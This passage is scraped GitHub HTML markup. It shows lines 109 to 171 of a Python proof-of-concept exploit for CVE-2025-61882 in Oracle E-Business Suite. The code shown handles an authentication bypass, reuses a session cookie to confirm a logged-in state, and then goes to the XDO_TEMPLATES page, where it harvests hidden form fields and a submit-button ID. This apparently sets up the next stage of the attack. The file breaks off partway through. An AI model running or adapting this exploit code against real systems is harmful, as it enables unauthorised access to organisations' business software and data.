js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L109\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;109\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC109\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>except</span> <span class=pl-c1>ET</span>.<span class=pl-c1>ParseError</span> <span class=pl-k>as</span> <span class=pl-s1>e</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L110\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;110\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC110\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-en>print</span>(<span class=pl-s>f&amp;quot;[-] XML Parsing Error: <span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>e</span><span class=pl-kos>}</span></span>&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L111\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;111\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC111\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L112\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;112\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC112\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span> <span class=pl-c1>None</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L113\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;113\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC113\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>except</span> <span class=pl-s1>requests</span>.<span class=pl-c1>RequestException</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L114\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;114\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC114\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Something went wrong during auth bypass. Check manually.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L115\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;115\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC115\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span> <span class=pl-c1>None</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L116\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;116\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC116\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L117\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;117\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC117\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>def</span> <span class=pl-en>get_cookies</span>(<span class=pl-s1>url</span>, <span class=pl-s1>sid</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L118\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;118\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC118\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>try</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L119\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;119\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC119\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>cookies</span> <span class=pl-c1>=</span> {<span class=pl-s>&amp;quot;EBSDB&amp;quot;</span>: <span class=pl-s1>sid</span>}</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L120\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;120\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC120\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>r</span> <span class=pl-c1>=</span> <span class=pl-s1>requests</span>.<span class=pl-c1>get</span>(<span class=pl-s>f&amp;quot;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>url</span><span class=pl-kos>}</span></span>/OA_HTML/OA.jsp?OAFunc=OANEWHOMEPAGE&amp;quot;</span>, <span class=pl-s1>cookies</span><span class=pl-c1>=</span><span class=pl-s1>cookies</span>, <span class=pl-s1>verify</span><span class=pl-c1>=</span><span class=pl-c1>False</span>, <span class=pl-s1>proxies</span><span class=pl-c1>=</span><span class=pl-c1>PROXY</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L121\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;121\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC121\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s>&amp;quot;Logged In As&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L122\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;122\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC122\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[+] Successfully obtained session cookies!&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L123\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;123\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC123\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>cookies</span>.<span class=pl-c1>update</span>(<span class=pl-s1>r</span>.<span class=pl-c1>cookies</span>.<span class=pl-c1>get_dict</span>())</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L124\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;124\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC124\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>return</span> <span class=pl-s1>cookies</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L125\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;125\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC125\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L126\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;126\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC126\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Failed to obtain valid session cookies.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L127\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;127\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC127\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>return</span> <span class=pl-c1>None</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L128\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;128\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC128\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>except</span> <span class=pl-s1>requests</span>.<span class=pl-c1>RequestException</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L129\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;129\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC129\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Something went wrong while getting cookies. Check manually.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L130\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;130\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC130\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span> <span class=pl-c1>None</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L131\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;131\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC131\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L132\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;132\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC132\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>def</span> <span class=pl-en>step_1</span>(<span class=pl-s1>url</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L133\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;133\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC133\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[*] Starting Step 1: Naviating to /OA_HTML/RF.jsp?function_id=XDO_TEMPLATES&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L134\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;134\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC134\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>url1</span> <span class=pl-c1>=</span> <span class=pl-s>f&amp;quot;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>url</span><span class=pl-kos>}</span></span>/OA_HTML/RF.jsp?function_id=XDO_TEMPLATES&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L135\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;135\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC135\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>response1</span> <span class=pl-c1>=</span> <span class=pl-s1>requests</span>.<span class=pl-c1>get</span>(<span class=pl-s1>url1</span>, <span class=pl-s1>headers</span><span class=pl-c1>=</span><span class=pl-c1>HEADERS</span>, <span class=pl-s1>cookies</span><span class=pl-c1>=</span><span class=pl-c1>COOKIES</span>, <span class=pl-s1>verify</span><span class=pl-c1>=</span><span class=pl-c1>False</span>, <span class=pl-s1>proxies</span><span class=pl-c1>=</span><span class=pl-c1>PROXY</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L136\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;136\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC136\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>return</span> <span class=pl-s1>response1</span>.<span class=pl-c1>text</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L137\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;137\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC137\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L138\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;138\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC138\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>def</span> <span class=pl-en>step_2</span>(<span class=pl-s1>url</span>, <span class=pl-s1>html_content</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L139\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;139\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC139\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[*] Starting Step 2: Navigating to Create Template Page...&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L140\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;140\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC140\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>soup</span> <span class=pl-c1>=</span> <span class=pl-en>BeautifulSoup</span>(<span class=pl-s1>html_content</span>, <span class=pl-s>&amp;#39;html.parser&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L141\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;141\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC141\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L142\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;142\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC142\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>form_tag</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;form&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;DefaultFormName&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L143\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;143\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC143\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-c1>not</span> <span class=pl-s1>form_tag</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L144\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;144\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC144\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Error: Cannot find form DefaultFormName&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L145\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;145\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC145\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L146\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;146\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC146\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L147\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;147\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC147\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>action_url</span> <span class=pl-c1>=</span> <span class=pl-s1>form_tag</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;action&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L148\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;148\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC148\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>action_url</span>.<span class=pl-c1>startswith</span>(<span class=pl-s>&amp;quot;/&amp;quot;</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L149\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;149\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC149\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>full_url</span> <span class=pl-c1>=</span> <span class=pl-s>f&amp;quot;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>url</span><span class=pl-kos>}</span></span><span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>action_url</span><span class=pl-kos>}</span></span>&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L150\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;150\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC150\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L151\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;151\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC151\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>full_url</span> <span class=pl-c1>=</span> <span class=pl-s1>action_url</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L152\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;152\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC152\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L153\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;153\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC153\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>payload</span> <span class=pl-c1>=</span> {}</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L154\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;154\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC154\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>for</span> <span class=pl-s1>tag</span> <span class=pl-c1>in</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find_all</span>(<span class=pl-s>&amp;#39;input&amp;#39;</span>, <span class=pl-s1>type</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;hidden&amp;#39;</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L155\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;155\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC155\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>name</span> <span class=pl-c1>=</span> <span class=pl-s1>tag</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;name&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L156\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;156\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC156\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>value</span> <span class=pl-c1>=</span> <span class=pl-s1>tag</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;value&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L157\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;157\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC157\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s1>name</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L158\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;158\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC158\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>payload</span>[<span class=pl-s1>name</span>] <span class=pl-c1>=</span> <span class=pl-s1>value</span> <span class=pl-k>if</span> <span class=pl-s1>value</span> <span class=pl-k>else</span> <span class=pl-s>&amp;quot;&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L159\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;159\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC159\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L160\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;160\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC160\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>   </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L161\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;161\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC161\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>create_btn</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;quot;button&amp;quot;</span>, {<span class=pl-s>&amp;quot;id&amp;quot;</span>: <span class=pl-s>&amp;quot;Create&amp;quot;</span>})</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L162\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;162\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC162\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L163\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;163\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC163\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>create_btn</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L164\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;164\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC164\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>onclick_text</span> <span class=pl-c1>=</span> <span class=pl-s1>create_btn</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;quot;onclick&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L165\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;165\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC165\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>match</span> <span class=pl-c1>=</span> <span class=pl-s1>re</span>.<span class=pl-c1>search</span>(<span class=pl-s>r&amp;quot;&amp;#39;_FORM_SUBMIT_BUTTON&amp;#39;:&amp;#39;([^&amp;#39;]+)&amp;#39;&amp;quot;</span>, <span class=pl-s1>onclick_text</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L166\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;166\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC166\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s1>match</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L167\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;167\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC167\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>submit_id</span> <span class=pl-c1>=</span> <span class=pl-s1>match</span>.<span class=pl-c1>group</span>(<span class=pl-c1>1</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L168\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;168\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC168\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-c># print(f&amp;quot;[+] Found Create Button ID: {submit_id}&amp;quot;)</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L169\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;169\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC169\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L170\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;170\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC170\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>payload</span>[<span class=pl-s>&amp;#39;_FORM_SUBMIT_BUTTON&amp;#39;</span>] <span class=pl-c1>=</span> <span class=pl-s1>submit_id</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L171\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;171\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC171\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            </td>\n        </tr>\n        <tr>\n          <td 